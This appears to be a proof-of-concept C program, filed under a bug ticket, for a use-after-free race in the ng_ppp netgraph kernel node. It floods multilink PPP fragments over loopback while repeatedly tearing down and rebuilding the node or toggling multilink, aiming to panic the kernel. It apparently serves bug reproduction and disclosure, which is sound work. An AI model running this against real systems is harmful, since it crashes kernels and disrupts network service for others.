DF-3481 / pppteardown.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 | /* * DF-3481 (mode B) -- v1 ng_ppp teardown-vs-inflight-data race. * * Same root cause as the fragTimer race: v1 ng_ppp has NO serialization * of its private state. ng_ppp_rmnode() (reachable via the NGM_SHUTDOWN * control message -- routine session teardown on PPP concentrators) * executes ng_ppp_stop_frag_timer / NG_INVALID / ng_cutlinks / * ng_ppp_frag_reset / bzero(priv) / kfree(priv) on the cpu0 netisr * thread (ngc_send -> ng_send_msg -> ng_generic_msg), while a hammer * thread is inside ng_ppp_rcvdata -> ng_ppp_mp_input on another CPU * (ksocket upcall context, synchronous with UDP loopback sendto). * mp_input then walks/inserts into the freed priv->frags TAILQ and * frag_process kmalloc/kfrees against freed memory: use-after-free * write into the kfree'd 2.5KB ng_ppp_private chunk. * * Loop: hammer continuously; periodically SHUTDOWN the ppp node and * rebuild it. Any panic within a few attempts demonstrates the race. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netgraph/ng_message.h> #include <netgraph/socket/ng_socket.h> #include <netgraph/ppp/ng_ppp.h> #include <netgraph/ksocket/ng_ksocket.h> static int ctrl; #define NPUMP 6 static int pumps[NPUMP]; static volatile int graph_ok; /* hammer may send */ static u_int32_t token = 1; static pthread_mutex_t toklock = PTHREAD_MUTEX_INITIALIZER; static int nextport = 19100; static void die(const char *m) { fprintf(stderr, "%s: %s\n", m, strerror(errno)); exit(1); } static int ctl(const char *path, u_int32_t cookie, int cmd, const void *arg, size_t alen) { struct sockaddr_ng sg; struct ng_mesg *m; size_t len = sizeof(*m) + (alen ? alen - 1 : 0) + 1; ssize_t n; int rc; pthread_mutex_lock(&toklock); m = calloc(1, len); m->header.version = NG_VERSION; m->header.typecookie = cookie; m->header.cmd = cmd; m->header.arglen = alen; m->header.token = token++; pthread_mutex_unlock(&toklock); if (alen) memcpy(m->data, arg, alen); memset(&sg, 0, sizeof(sg)); sg.sg_len = 2 + strlen(path); sg.sg_family = AF_NETGRAPH; strlcpy(sg.sg_data, path, sizeof(sg.sg_data)); n = sendto(ctrl, m, len, 0, (struct sockaddr *)&sg, sg.sg_len); free(m); rc = (n < 0) ? -errno : 0; return (rc); } static int bindport(const char *path) { struct sockaddr_in sin; int rc, p; memset(&sin, 0, sizeof(sin)); sin.sin_len = sizeof(sin); sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); for (p = nextport; p < nextport + 40; p++) { sin.sin_port = htons(p); rc = ctl(path, NGM_KSOCKET_COOKIE, NGM_KSOCKET_BIND, &sin, sizeof(sin)); if (rc == 0) { nextport = p + 1; return (p); } if (rc != -EADDRINUSE) die("ksocket bind"); } die("no free port"); return (-1); } static void reconnect_pump(int port) { struct sockaddr_in d; int i; for (i = 0; i < NPUMP; i++) { close(pumps[i]); pumps[i] = socket(AF_INET, SOCK_DGRAM, 0); memset(&d, 0, sizeof(d)); d.sin_len = sizeof(d); d.sin_family = AF_INET; d.sin_port = htons(port); d.sin_addr.s_addr = htonl(INADDR_LOOPBACK); if (connect(pumps[i], (struct sockaddr *)&d, sizeof(d)) < 0) die("pump connect"); } } static int build_bundle(void) { struct ngm_mkpeer mk; struct ng_ppp_node_conf conf; char path[32]; int rc, i, port; /* ppp node on our hook l0 */ memset(&mk, 0, sizeof(mk)); strlcpy(mk.type, "ppp", sizeof(mk.type)); strlcpy(mk.ourhook, "l0", sizeof(mk.ourhook)); strlcpy(mk.peerhook, "link0", sizeof(mk.peerhook)); rc = ctl("f1:", NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk)); if (rc && rc != -EEXIST) die("mkpeer ppp"); /* pump ksocket on link1 */ memset(&mk, 0, sizeof(mk)); strlcpy(mk.type, "ksocket", sizeof(mk.type)); strlcpy(mk.ourhook, "link1", sizeof(mk.ourhook)); strlcpy(mk.peerhook, "inet/dgram/udp", sizeof(mk.peerhook)); rc = ctl("f1:l0", NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk)); if (rc) { graph_ok = 0; return (-1); } snprintf(path, sizeof(path), "f1:l0.link1"); port = bindport(path); reconnect_pump(port); memset(&conf, 0, sizeof(conf)); conf.bund.mrru = 1500; conf.bund.enableMultilink = 1; conf.bund.enableIP = 1; for (i = 0; i < NG_PPP_MAX_LINKS; i++) { conf.links[i].mru = 1600; conf.links[i].latency = 10; conf.links[i].bandwidth = 125000; } conf.links[1].enableLink = 1; rc = ctl("f1:l0", NGM_PPP_COOKIE, NGM_PPP_SET_CONFIG, &conf, sizeof(conf)); if (rc) { graph_ok = 0; return (-1); } graph_ok = 1; return (0); } static void * hammer(void *arg) { u_int32_t seq = 0x100; long n = 0; (void)arg; for (;;) { if (graph_ok) { u_char pkt[1 + 4 + 8]; u_int32_t hdr; pkt[0] = 0x3d; hdr = htonl((seq & 0x00ffffff) | 0x80000000U | ((seq & 1) ? 0x40000000U : 0)); memcpy(pkt + 1, &hdr, 4); memset(pkt + 5, 0xab, sizeof(pkt) - 5); /* round-robin pumps: flows hash to different * netisr cpus, so delivery threads differ from * the cpu0 thread running the ctrl shutdown */ send(pumps[n % NPUMP], pkt, sizeof(pkt), 0); seq += 1; n++; } else { usleep(200); } } return (NULL); } static void toggle_multilink(int on) { struct ng_ppp_node_conf conf; int rc, i; memset(&conf, 0, sizeof(conf)); conf.bund.mrru = 1500; conf.bund.enableMultilink = on; conf.bund.enableIP = 1; for (i = 0; i < NG_PPP_MAX_LINKS; i++) { conf.links[i].mru = 1600; conf.links[i].latency = 10; conf.links[i].bandwidth = 125000; } /* ng_ppp_config_valid refuses multilink changes while links * would stay active, so disable them in the same config */ conf.links[1].enableLink = on; rc = ctl("f1:l0", NGM_PPP_COOKIE, NGM_PPP_SET_CONFIG, &conf, sizeof(conf)); if (rc) printf("setconfig(%d) rc=%d\n", on, rc); } int main(int argc, char **argv) { struct ngm_name nm; pthread_t h; int attempts = (argc > 1) ? atoi(argv[1]) : 200; int mode = (argc > 2) ? atoi(argv[2]) : 1; int a; ctrl = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (ctrl < 0) die("ctrl"); memset(&nm, 0, sizeof(nm)); strlcpy(nm.name, "f1", sizeof(nm.name)); (void)ctl(".", NGM_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm)); if (build_bundle() != 0) die("initial build"); pthread_create(&h, NULL, hammer, NULL); printf("hammering + teardown(mode=%d) x%d\n", mode, attempts); fflush(stdout); for (a = 0; a < attempts; a++) { usleep(3000 + (a % 5) * 1000); if (mode == 1) { /* SET_CONFIG(multilink off): ng_ppp_update -> * ng_ppp_frag_reset frees every queued fragment * on the cpu0 netisr thread while the hammer's * deliveries run ng_ppp_mp_input on cpuN */ toggle_multilink(0); usleep(2000); toggle_multilink(1); usleep(2000); } else { ctl("f1:l0", NGM_GENERIC_COOKIE, NGM_SHUTDOWN, NULL, 0); usleep(20000); graph_ok = 0; usleep(20000); if (build_bundle() != 0) { printf("rebuild %d failed\n", a); break; } } if ((a % 20) == 19) { printf("attempt %d alive\n", a + 1); fflush(stdout); } } printf("done %d attempts, no panic\n", attempts); return (0); } |